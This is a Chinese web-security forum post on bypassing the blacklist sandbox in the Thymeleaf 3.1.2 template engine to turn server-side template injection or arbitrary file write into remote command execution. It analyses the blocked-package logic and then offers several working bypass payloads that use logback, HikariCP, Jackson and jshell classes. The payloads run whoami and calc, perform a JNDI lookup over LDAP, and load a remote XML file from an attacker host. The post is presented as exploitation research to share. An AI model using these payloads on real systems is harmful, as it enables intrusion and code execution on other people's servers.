最新版本thymeleaf防护机制研究及其利用payload
Squirt1e 发表于 北京 WEB安全 1343浏览 · 2024-05-31 08:05

TL;DR

分享之前研究的一些绕过thymeleaf黑名单防护机制的payload

模版在挖洞的妙用

thymeleafjava的一个模版引擎,在社区已经有非常详细的研究文章了,几位前辈研究的重点在于thymeleaf解析/渲染逻辑以及触发thymeleaf SSTI的漏洞场景。

如:

https://xz.aliyun.com/t/12969?keyword%3Dthymeleaf#toc-15
https://xz.aliyun.com/t/10514

在代码审计过程中,挖掘到任意文件写入/任意文件上传等漏洞的概率往往比挖掘到直接命令执行漏洞的概率大。这时,我们往往需要通过写定时任务、ssh公钥、模版等trick来将漏洞危害提升至远程命令执行。

然而,受到启动应用进程权限较低、写入漏洞存在脏字符干扰等问题影响,写定时任务、公钥不是非常通用。因为它们有着较为严格的格式校验。

由于模版本身就作为应用的一部分,在拥有任意文件写入漏洞后写模版利用在绝大多数情况下都是可行的,不需要担心权限问题。并且模版容忍语法的鲁棒性比较强,大多数情况下payload前后有一些脏字符是无所谓的。

因此,在任意文件写场景下通过写模版RCE是一种比较通用的方法。当然,在jar打包的场景下就不太好使了,除非你能找到一个任意文件包含。

除此之外,还有一些别的thymeleaf SSTI触发模式,但最后问题都转化为怎么打thymeleaf RCE

thymeleaf沙箱防护机制分析及总结

我理解模版就是为了在渲染html标签时顺便执行代码用的,出于安全考虑各个模版都做了一些安全限制,不过为了确保模版的灵活性,一般都是默认加黑名单限制而不是白名单。

先搭建一个测试环境,这里选择使用spring-boot-starter-thymeleaf最新版本3.3.0

https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-thymeleaf/3.3.0

对应的thymepleaf版本为3.1.2,即最新版本。

测试模版的话先写一个显然会被ban掉的payload

测试类如下,主要用于模拟指定templates下任意模版渲染并返回结果。

public class LoginController {
    private final ApplicationContext applicationContext;
    private String templatePrefix = "file:///F:\\xxx\\templates\\";
    private String templateSuffix = ".html";


    @Autowired
    public LoginController(ApplicationContext applicationContext) {
        this.applicationContext = applicationContext;
    }

    @GetMapping({"/templates"})
    public String templates(@RequestParam String fname){
        String result = this.getTemplateEngine().process(fname, new Context());
        return result;
    }

    private SpringTemplateEngine getTemplateEngine() {
        SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
        resolver.setApplicationContext(this.applicationContext);
        resolver.setTemplateMode(TemplateMode.HTML);
        resolver.setCharacterEncoding(StandardCharsets.UTF_8.name());
        resolver.setPrefix(this.templatePrefix);
        resolver.setSuffix(this.templateSuffix);
        SpringTemplateEngine templateEngine = new SpringTemplateEngine();
        templateEngine.setTemplateResolver(resolver);
        return templateEngine;
    }
}

访问该模版,不出意外的报错了:

根据报错信息定位到org.thymeleaf.engine.TemplateManager#resolveTemplate

根据藏青师傅的文章可知会执行到表达式,这里给出我认为值得打断点调试的位置。

evaluate:264, SPELVariableExpressionEvaluator (org.thymeleaf.spring6.expression)
parseAndProcess:661, TemplateManager (org.thymeleaf.engine)

evaluate这里的expression变量就是我们的payload,紧接着调用getValue

后面的几步不详细跟了,简而言之就是在findType也就是检查执行类的时候会调用到org.thymeleaf.util.ExpressionUtils#isTypeAllowed方法,可以说这个方法就是thymeleaf的防御逻辑。

首先会normalize我们要执行类的包名,之后调用isTypeBlockedForTypeReference,最关键的检测逻辑就是这里。首先过一遍黑名单,如果该类在黑名单的话就抛异常。

在跟过去发现这个黑名单也不是那么黑。。

isTypeBlockedForAllPurposes的逻辑大体总结为:

  1. 如果不是c,j,o,s开头的包可以直接通过,不会被过滤。

  2. 如果是com.sun.开头的包会被block

  3. isJavaPackage方法判断了java.开头的包,除了java.time都不行。

  4. 以下黑名单BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES的类都不行

    "jakarta."
    "org.xml.sax."
    "sun."
    "org.ietf.jgss."
    "javax."
    "org.omg."
    "com.sun."
    "org.w3c.dom."
    "jdk."
    "java."
    

我们的java.lang.Runtime显然是java.开头的包名,故不满足条件被ban掉。

如果不被block的话会走下面的逻辑:

下面的逻辑可以总结为:

  1. 如果不是c n j o开头的包可以通过。
  2. com.squareup.javapoet.会被block
  3. 以下这些包会被block
"com.squareup.javapoet."
"net.bytebuddy."
"net.sf.cglib."
"javassist."
"javax0.geci."
"org.apache.bcel."
"org.aspectj."
"org.javassist."
"org.mockito."
"org.objectweb.asm."
"org.objenesis."
"org.springframework.aot."
"org.springframework.asm."
"org.springframework.cglib."
"org.springframework.javapoet."
"org.springframework.objenesis."
"org.springframework.web."
"org.springframework.webflow."
"org.springframework.context."
"org.springframework.beans."
"org.springframework.aspects."
"org.springframework.aop."
"org.springframework.expression."
"org.springframework.util."

感觉这个逻辑写的有点怪,可能是开发为了修漏洞反复修改防护逻辑积攒下来的吧。

不过非c n j o s开头的包是有什么说法嘛?看了看绝大多数包都是这几个开头的字母,我猜可能是为了优化检测逻辑的速度。因为自己写的类很有可能不是c n j o s开头,故直接放行。

除此之外,我们可以从黑名单学习到一些恶意类,对挖其他组件比较有帮助。

payload

因为这个防御逻辑看起来没那么严格。在总结之后,我尝试手动挖掘了几个payload,这里分享几个⑧。

ch.qos.logback.core.util.OptionHelper

ch.qos.logback.core.util.OptionHelper来自logback-core包,用于打印日志。在spring中默认引入该依赖。

instantiateByClassName是一个静态方法,用于实例化无参指定类。对于无参实例化的场景,我们一般实例化SpelExpressionParser紧接着,调用parseExpression即可。这里也算个套娃绕过了。

[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]
com.zaxxer.hikari.HikariConfig

fj拿过来的payloadHikariCP也是非常热门的jdbc连接池。

不过打jndi需要出网。

[[${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389")}]]
com.zaxxer.hikari.util.UtilityElf

com.zaxxer.hikari.util.UtilityElf出网远程加载xml

[[${T(com.zaxxer.hikari.util.UtilityElf).createInstance("org.springframework.context.support.ClassPathXmlApplicationContext","".getClass().forName("org.springframework.context.support.ClassPathXmlApplicationContext"),"http://ip/poc.xml")}]]

com.zaxxer.hikari.util.UtilityElf不出网执行el表达式,在高版本如jdk17可以使用jshell执行命令。

[[${T(org. apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor', T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke("".getClass().forName("jdk.jshell.JShell")).eval("java.lang.Runtime.getRuntime().exec(\"calc\")")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"}))}]]
com.fasterxml.jackson.databind.util.ClassUtil

这个依赖不用多说,很通用。

com.fasterxml.jackson.databind.util.ClassUtil#createInstance方法可以调用一个空参构造函数实例化,同样的套路整个SPEL表达式执行。

[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]
0 条评论
某人
表情
可输入 255